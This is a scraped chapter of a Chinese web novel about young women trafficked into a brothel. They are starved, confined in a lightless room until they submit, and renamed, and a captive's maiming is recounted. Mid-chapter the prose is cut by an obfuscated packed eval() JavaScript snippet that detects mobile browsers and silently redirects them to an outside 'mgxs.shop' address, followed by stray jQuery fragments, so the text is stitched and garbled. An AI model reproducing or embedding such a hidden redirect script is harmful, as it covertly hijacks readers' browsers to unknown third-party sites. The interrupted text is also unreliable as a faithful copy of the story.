文趣网 > 都市小说 > 空谷无回音 > 19. 祸兮福所倚,福兮祸所福;忧喜聚门兮,吉凶同域
    姑娘们都是清白人家来的,从没做过妓,那婆子自称是楼里的妈妈,也就是老鸨。

    这楼是个大型的小姐培训地,起了个风雅的名字,楼也装修得清雅,任谁看了都和妓院扯不上一点关系,那就它是最顶极的了。

    妈妈给了她们些时间缓冲下,毕竟从良家女堕落风尘不是那么好接受的。

    进了院妈妈先给各个人准备了些掺些肉丝的米粥,陈夏吃得狼狈,勺子扔在一边,嚼也不嚼,囫囵地就把粥喝下,捧着碗舔边上的米粒,又扒着桌子边,用手拣掉下来的肉丝刮进嘴里。

    许久没吃过人吃的东西,观音土填了好长时间的肚子,半夜时竟然有些不适应,晚上难得地闹起了肚子。

    就这么过了小半月,姑娘们虽不说圆润,起码摸起来不硌手了。

    温饱思淫/欲,必不少姑娘在期间会有些小动作,偷跑出门,或是偷写信让人传出去找家人来赎的,一一被抓住。

    毕竟是楼里的妈妈,手段是真不少,抓到一律关进小黑屋子,里头一点光亮也没有,蚊虫老鼠啃食臭肉,赶都赶不走,嗡鸣地叫人直犯恶心,每天就给碗汤水不让饿死,关个小半月,出来是乖顺的不行,让她走西绝不往东,效果立竿见影。

    再过来个小半年,姑娘们堪堪都会了些附庸风雅的手段,妈妈也开始打算让姑娘们挂牌了,可挂牌前总要取个艺名。

    或许是想与别的春楼做出些差距来,姑娘们的名字都是从诗集里翻出来的,妈妈看不懂诗,也不在意诗是讲些什么,只从里挑出几个好听的字取了。

    “蒹葭苍苍,白露为霜。”

    妈妈念诗的声音从头顶传来,陈夏低着脑袋搅着衣角发呆。

    “这么巧,那如此你就叫蒹葭吧。”

    “不行!”陈夏几乎是想都没想就拒绝了,日夜做的噩梦就要变成烙红的铁烫在她的精神里了,如今她才不愿连名字都逃离不了蒹葭的咒怨。

    “嗯?”陈夏是少数在这半年里什么事都没闹出来的,妈妈还以为她是个乖顺的,低头摇了摇,耻笑出声“你不是大小姐,是分文没赚的雏妓,名字这东西是我说的算。”说罢就叫边上的木工刻到木牌上去。

    陈夏情绪几乎在失控的边缘,当蒹葭两个字刻在她卖身的牌子上时,流水样的血顺着刻印的走势把目之所及俱冲垮。

    陈夏扑上前,夺过牌子重重地砸向地面,咔嚓声响,四分五裂。

    她动作太快,妈妈和周遭的姑娘都来不及反应,等到妈妈回神,嗓音像刻薄尖锐的学舌鹦鹉,就要扎破耳。

    “把她给我关进小黑屋子!真无法无天了!以为自个还是什么金贵的小姐呢,敢跟我叫板?”

    小黑屋子比陈夏想得更难捱。

    屋子破烂得和纸糊的似的,可每个可以透出光的角落俱用东西细细填上,一丝光都看不见,里头的蚊蝇多如牛毛像是在养蛊虫,不知是不是带了什么脏东西,呆了没一小会就全身都瘙痒不止,只得把衣服全罩在身上,闷出一身汗,角落里的老鼠估计是没吃什么东西,竟一点不怕人,跑到陈夏身边咬她的衣物,吓得陈夏一阵一阵地尖叫。

    要说这不是最让人胆颤的,最让人呆不下的是这屋子太黑,昼夜不分,妈妈说让你呆上一周,你也分不出时间,一刻钟也同一年一样煎熬,也只能靠给饭的时间算。

    更别说陈夏是犯了那么大的忌讳,就算不饿死她,也要折磨个够够的。

    陈夏恐惧全然无知的黑,无时无刻都缩在角落里小声地碎碎念,眼睛死死盯着送饭的狗洞,太久没吃上饭,头沉的要砸死边上的老鼠了。

    这样黑的屋子,呆上一两天尚可忍受。

    可听不着一点声,见不着一丝光,手一伸,漆黑一片,再呆下去竟是要忘了自个的脸了。

    魂魄见不着一丝光就要腐败,要糜烂。心神要像脊骨往后折的老妪,后脑勺紧贴着尾椎骨,叠着身子前行,可能要被折断的恐惧向着陈夏求救。

    在黑屋子的不知道几天,陈夏终于学会屈服。

    不知道几天给的一次饭食,是她能够从小小窗口透出口鼻呼吸外头的风的时候。不知是黑的夜延长了陈夏的时间感官,还是妈妈有意磋磨。她感觉着放饭时间间隔愈来愈长了,她疑心自己就要被忘在黑屋子里了,人也是日渐虚弱。

    在全然黑暗的环境里,赵蒹葭也没放过她,梦愈来愈真实,鼓动的血树桩好像睁了眼也扎根在死老鼠腐烂的肠子里蠕动,依稀有蚊虫停留在上边。

    陈夏睁眼也不是闭眼也不是,只得尽力往墙角蜷,祈求自己也是墙的小部分。没成想树桩像是个巨大鲜活的肉瘤,一点点拖行来,后边扒了长长的根须扎在黑屋子里,从断裂的石板里渗出红色的河。

    河水沸腾似的鼓出一个个血泡,膨起,撑大,再破裂,然后从爆裂出的血里传出赵蒹葭重重叠叠幽怨的声音和被剜下肉的凄厉尖叫声。

    陈夏的精神几近崩溃,终于不知道哪天她踉跄地爬到门边,攥起拳头狠狠地砸,木板破败地嘎吱作响。

    一种不明白的情绪汹涌,一个浪头淹没了她。

    “妈妈!叫妈妈来!叫妈妈来!我是蒹葭啊!我是蒹葭!”

    门口传来一阵脚步声后又没了动静,陈夏惧极了,扭头撇见那血树桩转了方向,仍生机勃勃地朝她挪动,陈夏凄厉地尖声叫着,不顾形象地嚎哭起来,惊飞鸟兽。

    门猛地开了,是妈妈,门外头是青天白日,烈阳高照,映在妈妈的脸上是那样的耀眼,那样的慈祥。

    “妈妈的好蒹葭,快回去休

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955680|214232||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    息吧。”

    -----

    妈妈是极满意蒹葭的服从的,只用了一次恐吓就要她完全驯服了的,似幼猫样的乖顺,这次挑出的姑娘里就她最出众,妈妈对有潜力的孩子是极有耐性的,定要她成个摇钱树,有源源不断的钱来才好。

    蒹葭从妈妈边上的小大姐听着这些话,仅是掖了掖被角,眼睛半磕,睫毛长长地搭着,看不清她,从床里头传来淡淡的嗯声,就又没了动静了。

    那丫头往床帘里瞧了眼,蒹葭似乎倦极了,从黑屋子里出来了好些天还是没回过神,看来那屋子当真是骇人。人进去,不人不鬼地出来了。

    见她这样估计是打一巴掌也放不出二两屁了,就道了声话走了。

    待人走了好一会,蒹葭才睁开眼睛,天气转凉了,门边的窗子没关严实,吹得薄纱似的床帘飘扬,蒹葭不清楚自己该庆幸或是悲苦。

    妈妈想将她捧得高些,做个头牌,她不仅不用早早接客,还赏她长三堂子住着,用不着和其他姑娘挤一间屋子睡。可毕竟是做了物件的命,叫她怎开怀?总就郁结于心,愁眉不展。

    边上照顾蒹葭的姑娘叫霜露,是妈妈拨给蒹葭的小大姐,标准小巧的姑娘,年龄虽小了些,但性格是可爱极了,讨喜得很。见蒹葭这样,估摸着是想安抚她,忽地提起件事,“姑娘别伤怀,我与姑娘讲那草原上的姑娘的事。”

    蒹葭微微偏过脑袋,示意洗耳恭听。

    霜露见状忙说起“卖那姑娘的拐子讲了那姑娘在草原上的故事,姑娘是那草原里无父无母的孩子,跟着她舅舅长大的,身手好着呢,草原上的人有训不服的马,往她这一送,不出十天半月,保准服服帖帖,乖得很勒!是那有名的驯马女。”她手舞足蹈地比划那驯马的景象,却因着四肢不勤看着滑稽好笑,蒹葭也不由得展了眉眼,嘴边挂了点笑。

    霜露见她这样,再接再厉了起来,“姑娘不仅呢,听说那草原上有高高的山,陡得很,她却能爬上那么险的山采药,想山羊一样灵活,所以草原里的人都叫她山羊女。”霜露又扒着墙作爬的姿势,像个小蝇虫似地嗡叫,蒹葭终于是笑了出来,霜露见她笑了也开怀,忙扶她起来,喂了吃药。

    应许是心情松快些了,蒹葭觉着药也没那么苦涩了,喝了几口忽地问道“那她身手这般矫健,怎的被抓来了?”

    霜露正背着她收拾碗碟,听着这,背影顿了顿,叹了气来道“抓她的人是她小叔那边的亲戚,用了蒙汗药药倒了再抓起来的。听说路上也跑了好几回,和拐子打得有来回的,但拐子人多,又抓起来了。气不过,把她手筋挑断了,腿没有,但打折了几回,跑得没有以往那样快了。”

    屋子里静悄悄的,只有调羹搅动黑漆漆的药汤和边上药炉里咕嘟嘟滚着浓茶的声。